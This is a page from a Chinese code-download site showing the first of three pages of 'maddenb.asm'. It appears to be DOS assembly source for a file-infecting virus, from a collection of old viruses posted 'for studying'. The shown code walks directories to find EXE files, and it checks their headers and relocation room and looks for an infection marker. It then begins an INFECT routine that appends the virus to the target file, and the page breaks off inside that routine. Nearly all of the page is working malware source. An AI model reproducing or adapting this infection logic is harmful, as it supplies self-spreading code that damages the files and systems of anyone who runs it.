⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 maddenb.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 3 页
字号:
;This function searches the path in USEFILE for an EXE file which passes
;the test FILE_OK. This routine will return the full path of the EXE file
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
;with the c flag set. It will search a whole directory before giving up.
;
FINDEXE:
	mov     dx,OFFSET DTA1  ;set new DTA for EXE search
	mov     ah,1AH
	int     21H
	mov     di,OFFSET USEFILE
	mov     si,OFFSET EXEFILE
	call    CONCAT          ;set up USEFILE with '\dir\*.EXE'
	push    di              ;save position of '\' before '*.EXE'
	mov     dx,OFFSET USEFILE
	mov     cx,3FH          ;search first for any file
	mov     ah,4EH
	int     21H
NEXTEXE:
	or      al,al           ;is DOS return OK?
	jnz     FEC             ;no - quit with C set
	pop     di
	inc     di
	stosb                   ;truncate '\dir\*.EXE' to '\dir\'
	mov     di,OFFSET USEFILE
	mov     si,OFFSET DTA1+1EH
	call    CONCAT          ;setup file name '\dir\filename.exe'
	dec     di
	push    di
	call    FILE_OK         ;yes - is this a good file to use?
	jnc     FENC            ;yes - valid file found - exit with c reset
	mov     ah,4FH
	int     21H             ;do find next
	jmp     SHORT NEXTEXE   ;and go test it for validity

FEC:                            ;no valid file found, return with C set
	pop     di
	mov     BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
	stc
	ret
FENC:                           ;valid file found, return with NC
	pop     di
	ret


;--------------------------------------------------------------------------
;Third Level - Part B - Find a subdirectory
;
;This function searches the file path in USEFILE for subdirectories, excluding
;the subdirectory header entries. If one is found, it returns with Z set, and
;if not, it returns with NZ set.
;There are two entry points here, FIRSTDIR, which does the search first, and
;NEXTDIR, which does the search next.
;
FIRSTDIR:
	call    GET_DTA         ;get proper DTA address in dx (calculated from LEVEL)
	push    dx              ;save it
	mov     ah,1AH          ;set DTA
	int     21H
	mov     dx,OFFSET USEFILE
	mov     cx,10H          ;search for a directory
	mov     ah,4EH          ;do search first function
	int     21H
NEXTD1:
	pop     bx              ;get pointer to search table (DTA)
	or      al,al           ;successful search?
	jnz     NEXTD3          ;no, quit with NZ set
	test    BYTE PTR [bx+15H],10H    ;is this a directory?
	jz      NEXTDIR         ;no, find another
	cmp     BYTE PTR [bx+1EH],'.'    ;is it a subdirectory header?
	jne     NEXTD2          ;no - valid directory, exit, setting Z flag
				;else it was dir header entry, so fall through to next
NEXTDIR:                        ;second entry point for search next
	call    GET_DTA         ;get proper DTA address again - may not be set up
	push    dx
	mov     ah,1AH          ;set DTA
	int     21H
	mov     ah,4FH
	int     21H             ;do find next
	jmp     SHORT NEXTD1    ;and loop to check the validity of the return

NEXTD2:
	xor     al,al           ;successful exit, set Z flag
NEXTD3:
	ret                     ;exit routine

;--------------------------------------------------------------------------
;Return the DTA address associated to LEVEL in dx. This is simply given by
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
;in its own DTA, since a search at a lower level occurs in the middle of the
;higher level search, and we don't want the higher level being ruined by
;corrupted data.
;
GET_DTA:
	mov     dx,OFFSET DTA2
	mov     al,2BH
	mul     [LEVEL]
	add     dx,ax                   ;return with dx= proper dta offset
	ret

;--------------------------------------------------------------------------
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
;destination (or the first character of the second string, after moved).
;
CONCAT:
	mov     al,byte ptr es:[di]     ;find the end of string 1
	inc     di
	or      al,al
	jnz     CONCAT
	dec     di                      ;di points to the null at the end
	push    di                      ;save it to return to the caller
CONCAT2:
	cld
	lodsb                           ;move second string to end of first
	stosb
	or      al,al
	jnz     CONCAT2
	pop     di                      ;and restore di to point to end of string 1
	ret


;--------------------------------------------------------------------------
;Function to determine whether the EXE file specified in USEFILE is useable.
;if so return nc, else return c
;What makes an EXE file useable?:
;              a) The signature field in the EXE header must be 'MZ'. (These
;                 are the first two bytes in the file.)
;              b) The Overlay Number field in the EXE header must be zero.
;              c) There must be room in the relocatable table for NUMRELS
;                 more relocatables without enlarging it.
;              d) The word VIRUSID must not appear in the 2 bytes just before
;                 the initial CS:0000 of the test file. If it does, the virus
;                 is probably already in that file, so we skip it.
;
FILE_OK:
	call    GET_EXE_HEADER         ;read the EXE header in USEFILE into EXE_HDR
	jc      OK_END                 ;error in reading the file, so quit
	call    CHECK_SIG_OVERLAY      ;is the overlay number zero?
	jc      OK_END                 ;no - exit with c set
	call    REL_ROOM               ;is there room in the relocatable table?
	jc      OK_END                 ;no - exit
	call    IS_ID_THERE            ;is id at CS:0000?
OK_END: ret                            ;return with c flag set properly

;--------------------------------------------------------------------------
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
;number is anything but zero.
CHECK_SIG_OVERLAY:
	mov     al,'M'                  ;check the signature first
	mov     ah,'Z'
	cmp     ax,WORD PTR [EXE_HDR]
	jz      CSO_1                   ;jump if OK
	stc                             ;else set carry and exit
	ret
CSO_1:  xor     ax,ax
	sub     ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
	ret                             ;c is set if it's anything but 0

;--------------------------------------------------------------------------
;This function reads the 28 byte EXE file header for the file named in USEFILE.
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
;
GET_EXE_HEADER:
	mov     dx,OFFSET USEFILE
	mov     ax,3D02H                ;r/w access open file
	int     21H
	jc      RE_RET                  ;error opening - C set - quit without closing
	mov     [HANDLE],ax             ;else save file handle
	mov     bx,ax                   ;handle to bx
	mov     cx,1CH                  ;read 28 byte EXE file header
	mov     dx,OFFSET EXE_HDR       ;into this buffer
	mov     ah,3FH
	int     21H
RE_RET: ret                             ;return with c set properly

;--------------------------------------------------------------------------
;This function determines if there are at least NUMRELS openings in the
;current relocatable table in USEFILE. If there are, it returns with
;carry reset, otherwise it returns with carry set. The computation
;this routine does is to compare whether
;    ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
;is >= than 4 * NUMRELS. If it is, then there is enough room
;
REL_ROOM:
	mov     ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
	add     ax,ax
	add     ax,ax
	sub     ax,WORD PTR [EXE_HDR+6] ;number of relocatables
	add     ax,ax
	add     ax,ax
	sub     ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
	cmp     ax,4*NUMRELS            ;enough room to put relocatables in?
RR_RET: ret                             ;exit with carry set properly


;--------------------------------------------------------------------------
;This function determines whether the word at the initial CS:0000 in USEFILE
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
;it returns c reset.
;
IS_ID_THERE:
	mov     ax,WORD PTR [EXE_HDR+22] ;Initial CS
	add     ax,WORD PTR [EXE_HDR+8]  ;Header size
	mov     dx,16
	mul     dx
	mov     cx,dx
	mov     dx,ax                    ;cxdx = position to look for VIRUSID in file
	mov     bx,[HANDLE]
	mov     ax,4200H                 ;set file pointer, relative to beginning
	int     21H
	mov     ah,3FH
	mov     bx,[HANDLE]
	mov     dx,OFFSET VIDC
	mov     cx,2                     ;read 2 bytes into VIDC
	int     21H
	jc      II_RET                   ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
	mov     ax,[VIDC]
	cmp     ax,[VIRUSID]             ;is it the VIRUSID?
	clc
	jnz     II_RET                   ;if not, then virus is not already in this file
	stc                              ;else it is probably there already
II_RET: ret


;--------------------------------------------------------------------------
;This routine makes sure file end is at paragraph boundary, so the virus
;can be attached with a valid CS. Assumes file pointer is at end of file.
SETBDY:
	mov     al,BYTE PTR [FSIZE]
	and     al,0FH              ;see if we have a paragraph boundary (header is always even # of paragraphs)
	jz      SB_E                ;all set - exit
	mov     cx,10H              ;no - write any old bytes to even it up
	sub     cl,al               ;number of bytes to write in cx
	mov     dx,OFFSET FINAL     ;set buffer up to point to end of the code (just garbage there)
	add     WORD PTR [FSIZE],cx     ;update FSIZE
	adc     WORD PTR [FSIZE+2],0
	mov     bx,[HANDLE]
	mov     ah,40H              ;DOS write function
	int     21H
SB_E:   ret

;--------------------------------------------------------------------------
;This routine moves the virus (this program) to the end of the EXE file
;Basically, it just copies everything here to there, and then goes and
;adjusts the EXE file header and two relocatables in the program, so that
;it will work in the new environment. It also makes sure the virus starts
;on a paragraph boundary, and adds how many bytes are necessary to do that.
;
INFECT:
	mov     cx,WORD PTR [FSIZE+2]
	mov     dx,WORD PTR [FSIZE]
	mov     bx,[HANDLE]
	mov     ax,4200H                ;set file pointer, relative to beginning
	int     21H                     ;go to end of file
	call    SETBDY                  ;lengthen to a paragraph boundary if necessary
	mov     cx,OFFSET FINAL         ;last byte of code
	xor     dx,dx                   ;first byte of code, DS:DX
	mov     bx,[HANDLE]             ;move virus code to end of file being attacked with

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -